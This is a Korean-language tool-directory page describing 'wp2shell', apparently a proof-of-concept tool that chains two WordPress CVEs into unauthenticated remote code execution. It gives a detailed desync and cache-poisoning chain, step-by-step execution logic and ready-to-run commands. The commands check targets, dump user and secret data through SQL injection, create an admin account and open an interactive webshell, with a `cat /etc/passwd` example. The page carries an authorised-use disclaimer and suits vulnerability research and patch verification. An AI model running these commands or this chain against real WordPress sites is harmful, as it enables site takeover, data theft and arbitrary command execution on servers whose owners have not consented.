Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137용 PoC, 일명 WP2Shell | Kitploit
도구/GitHubGitHub/crypto-cat/wp2shell
Vulnerability ScannersCode AnalysisExploitationWeb SecurityLearning & Education
GitHubcrypto-cat/wp2shell

wp2shell

CVE-2026-63030 + CVE-2026-60137용 PoC, 일명 WP2Shell

저장소 보기
31개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

wp2shell

WordPress 6.9.0–6.9.4 및 7.0.0–7.0.1에 대한 인증 전 원격 코드 실행입니다.

CVE-2026-63030(배치 경로 혼동 SQLi)을 CVE-2026-60137(커스터마이저 체인지셋 재진입)과 연결하여 인증 없는 관리자 생성 및 OS 명령 실행을 달성합니다. 비밀번호 크래킹이 필요 없습니다.

wp2shell 데모

이 발견은 hashkitten의 공로입니다. 전체 SLCyber 기술 분석은 여기에서 읽을 수 있습니다.

취약점

WordPress의 REST API 배치 프로세서(serve_batch_request_v1)에는 off-by-one 인덱싱 버그가 있습니다: wp_parse_url()이 하위 요청 경로에서 실패하면 결과로 생성된 WP_Error가 $validation[]에는 푸시되지만 $matches[]에는 푸시되지 않습니다. 이로 인해 두 배열의 동기화가 깨지며, 이후의 모든 요청이 잘못된 핸들러로 디스패치됩니다.

신중하게 구조화된 배치를 다른 배치 안에 중첩시킴으로써 공격자는 다음을 수행할 수 있습니다:

  1. 한 엔드포인트의 스키마로 검증된 요청을 완전히 다른 엔드포인트의 콜백으로 라우팅
  2. author__not_in을 통해 검증되지 않은 SQL 주입 (string→array 캐스트가 absint()를 건너뜀)
  3. UNION SELECT를 사용해 가짜 포스트 객체로 WordPress 객체 캐시를 오염
  4. 권한을 상승시키는 체인지셋 자동 게시를 트리거한 다음 관리자 컨텍스트로 REST API 재진입

설정이 완료되면(테이블 접두사 및 관리자 ID 발견) 에스컬레이션 페이로드가 단일 HTTP 요청으로 발사됩니다. 캐시 오염, 권한 상승, 사용자 생성이 모두 서버 측에서 한 번의 왕복으로 발생합니다.

체인 작동 방식

root@kitploit:~
HTTP POST /batch/v1
    │
    ▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                  → parse error, not added to $matches      │
│  [1] POST /wp/v2/posts    → $matches[0] (posts handler)             │
│  [2] POST /batch/v1       → $matches[1] (batch handler)             │
│                                                                     │
│  Desync: request[1] dispatched via $matches[1]                      │
│          POST /wp/v2/posts body interpreted as batch → inner fires  │
│                                                                     │
└──────────────────────────────────────┬──────────────────────────────┘
                                       │
    ┌──────────────────────────────────┘
    ▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                            → parse error (desync)          │
│  [1] GET  /wp/v2/widgets?UNION...   → dispatched by posts handler   │
│          ▲ WP_Query fires UNION, poisons object cache               │
│          ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1  │
│              → changeset published → admin context set              │
│              → nav_menu_item UPDATE → hierarchy Loop 2              │
│                  → parse_request → REST re-entry ─────────────┐     │
│                                                               │     │
│  [2] GET  /wp/v2/posts              (categories handler)      │     │
│  [3] GET  /wp/v2/categories         (users handler)           │     │
│  [4] POST /wp/v2/users  {body}  ◄── re-entry with admin ──────┘     │
│          ▲ desync aligns this with users handler                    │
│          ▲ admin context → user created → die()                     │
│  [5] POST /wp/v2/users  {}          (desync spacer)                 │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

캐시 오염 (UNION을 통한 가짜 포스트 7개):

  • 콘텐츠에 [embed] 숏코드가 있는 트리거 포스트
  • 체인지셋 포스트 (customize_changeset, 상태 future, 과거 날짜)
  • 외부 루프 파트너 (parent=changeset, 루프 1 생성)
  • oEmbed 대상 (동적 재귀 방지 ID, parent=changeset, 빈 콘텐츠)
  • 내비게이션 메뉴 항목 포스트 (is_nav_menu_item 검사를 위해 post_type=nav_menu_item으로 오염)
  • 재진입 포스트 (post_type=request, post_status=parse, parent=inner)
  • 내부 루프 파트너 (parent=re-entry, 루프 2 생성)

실행 흐름:

  1. UNION이 7개의 가짜 포스트로 객체 캐시를 오염
  2. 포스트 핸들러가 트리거 포스트의 콘텐츠를 렌더링 → [embed] 숏코드 발동
  3. oEmbed 캐시 조회가 빈 콘텐츠의 백킹 포스트를 찾음 → wp_update_post로 폴스루
  4. wp_update_post가 캐시된 체인지셋(parent=outer)을 읽음 → 계층 검사가 루프 1 감지
  5. 픽스업이 체인지셋을 future 상태로 DB에 기록 → 자동으로 publish로 변환
  6. _wp_customize_publish_changeset 발동 → wp_set_current_user(admin_id) → 관리자 컨텍스트 활성화
  7. 체인지셋이 nav_menu_item[real_id] 처리 — 캐시가 type=nav_menu_item으로 표시 → UPDATE 경로
  8. object_id가 post_parent=re-entry인 캐시된 포스트로 확인 → 실제 포스트에 대해 wp_update_post 실행
  9. 계층 검사(0이 아닌 $post_id)가 루프 2(re-entry ↔ inner) 감지
  10. 픽스업이 wp_update_post(re-entry) 호출 → type=request, status=parse를 DB에 기록

재귀 방지 MySQL 세션 변수(@_wp2s)는 체인이 정확히 한 번만 발동하고 반복되지 않도록 보장합니다.

기능

  • 자동 감지가 포함된 3가지 추출 모드: UNION (값당 요청 1회), EXTRACTVALUE 기반 오류 (~요청당 30자), 부울 블라인드 이진 탐색 (~문자당 요청 7회)
  • 완전한 인증 전 RCE — 자격 증명 불필요, 크래킹 불필요, 에스컬레이션이 한 번의 왕복으로 발동
  • 자동 발견 — INFORMATION_SCHEMA를 통한 테이블 접두사, capabilities 메타를 통한 관리자 사용자 ID
  • 사후 익스플로잇 — 토큰 인증이 포함된 플러그인 웹셸, CWD 추적 대화형 셸, 파일 읽기/쓰기
  • 정리 모드 — --cleanup은 종료 시 생성된 사용자를 삭제하고 웹셸을 제거
  • 의존성 제로 — stdlib만 사용, 단일 파일, Python 3.8+에서 실행

설치

root@kitploit:~
git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

pip install도 virtualenv도 필요 없습니다. 단일 파일입니다.

사용법

대상이 취약한지 확인

root@kitploit:~
# Passive boolean oracle test
python3 wp2shell.py check http://target.com

# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union

데이터 추출

root@kitploit:~
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"

# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users

# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users

전체 익스플로잇

root@kitploit:~
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i

# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup

# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i

# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i

인증된 셸 (기존 자격 증명 사용)

root@kitploit:~
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i

전체 RCE 요구 사항

check 및 read 명령은 영향받는 모든 대상에서 작동합니다. exploit 체인에는 세 가지 추가 요구 사항이 있습니다:

대상이 객체 캐시로 Redis 또는 Memcached를 사용하는 경우 per_page와 관계없이 split_the_query가 강제로 활성화되고, ID 전용 조회 중에 UNION 행이 폐기됩니다. read 명령은 여전히 작동하지만(블라인드 추출은 UNION이 캐시에 유지될 필요가 없음) exploit은 실패합니다.

영향받는 버전

브랜치취약 버전수정 버전
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2

이 패치는 오류 케이스에 $matches[] = $single_request;를 추가하고(off-by-one 수정) serve_request()에 재진입 가드를 추가합니다.

아키텍처

root@kitploit:~
wp2shell.py (single file, ~1650 lines)
├── Client          HTTP transport with batch URL negotiation
├── Desync          Nested batch payload construction
├── BlindExtractor  Boolean binary search (universal)
├── UnionExtractor  In-band via forged post_title (fastest)
├── ErrorExtractor  EXTRACTVALUE-based (intermediate)
├── PoisonGraph     Hierarchy loop structure for cache poisoning
├── Exploiter       Chain orchestration (seed → extract → escalate)
└── AdminSession    Authenticated session, webshell, cleanup

기술 세부 사항

소스 경로로 /wp/v2/widgets를 사용하는 이유?

Widgets 컨트롤러는 엔드포인트 스키마에 per_page, orderby, author_exclude를 등록하지 않습니다. 이러한 매개변수는 검증을 그대로 통과합니다(알 수 없는 매개변수는 스키마 검증기가 무시합니다). 디싱크가 이 요청을 Posts 컨트롤러로 디스패치하면 이러한 원시 값들이 WP_Query로 직접 흘러 들어갑니다.

per_page=500을 사용하는 이유?

class-wp-query.php:3375 — split_the_query는 !empty($limits) && posts_per_page < 500을 요구합니다. per_page=500이면 500 < 500 조건이 거짓이 되므로 split_the_query가 비활성화됩니다. 전체 쿼리(UNION 포함)가 단일 문으로 실행되고, 주입된 모든 행이 결과 집합과 캐시에 유지됩니다.

nav_menu_item[real_id](양수 ID)를 사용하는 이유?

양수 포스트 ID를 사용하면 nav-menu.php:614의 UPDATE 경로로 진입하여 0이 아닌 $post_id로 wp_update_post를 호출합니다. 이는 post.php:8070의 wp_check_post_hierarchy_for_loops가 $post_id = 0(새 포스트)일 때 조기 반환하기 때문에 중요합니다. 해당 ID에 대해 캐시가 post_type=nav_menu_item으로 오염되어 is_nav_menu_item()이 nav-menu.php:426의 타입 검사를 통과합니다. 그런 다음 UPDATE 경로가 루프 2를 감지하는 계층 검사를 트리거합니다.

계층 루프가 두 개인 이유?

루프 1(체인지셋 ↔ outer)은 체인지셋 게시를 트리거하고 관리자 컨텍스트를 설정합니다. 루프 2(re-entry ↔ inner)는 관리자 창 동안(체인지셋 게시 루프에서 내비게이션 메뉴 항목 설정의 save() 호출 내부) 발동하여 parse_request → REST 재진입을 트리거합니다. 루프 2의 픽스업이 3581행의 관리자 창 동안 재진입 포스트를 DB에 기록해야 하며 3589행의 리셋 이전이어야 하므로 두 루프는 독립적입니다.

면책 조항

이 도구는 승인된 보안 테스트 및 연구 목적으로 배포됩니다. 소유한 시스템 또는 명시적인 서면 승인을 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.

크레딧

CryptoCat의 연구 및 개발.

도구 다운로드
  • wp_transition_post_status가 do_action("parse_request") 발동 → rest_api_loaded() → serve_request()
  • REST API가 재진입하여 전체 배치를 관리자 권한으로 다시 처리
  • 꼬리의 POST /wp/v2/users 성공 → 관리자 생성 → die()
  • 요구 사항이유기본 WP?
    게시된 포스트가 하나 이상oEmbed가 임베드 처리를 트리거하려면 로컬 URL이 필요합니다예 (Hello World)
    영구 객체 캐시 없음UNION 행이 유지되려면 split-the-query가 비활성화되어야 합니다예 (파일 캐시 기본값)
    REST API 접근 가능parse_request를 통한 재진입에는 REST 서버가 필요합니다예
    직접 파일시스템 쓰기플러그인 업로드에는 FS_METHOD=direct 또는 wp-content를 소유한 PHP가 필요합니다예 (대부분의 호스트)